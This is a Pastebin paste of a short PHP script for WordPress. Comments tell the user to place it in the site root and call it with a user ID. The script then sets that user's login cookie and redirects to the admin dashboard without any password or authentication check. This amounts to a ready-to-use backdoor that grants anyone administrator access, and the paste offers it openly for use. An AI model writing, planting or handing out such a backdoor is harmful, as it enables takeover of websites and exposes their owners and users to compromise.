Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //19 Jun 2024 - @willygoid
- //Place this file to root wordpress directory
- //Usage: site.com/autologin.php?user=1
- //value of the user parameter must be integer (0-100)
- include('./wp-config.php');
- if(isset($_GET['user']) && $_GET['user']!==''){
- $id = $_GET['user'];
- wp_clear_auth_cookie();
- wp_set_current_user($id);
- wp_set_auth_cookie($id);
- wp_safe_redirect(admin_url());
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement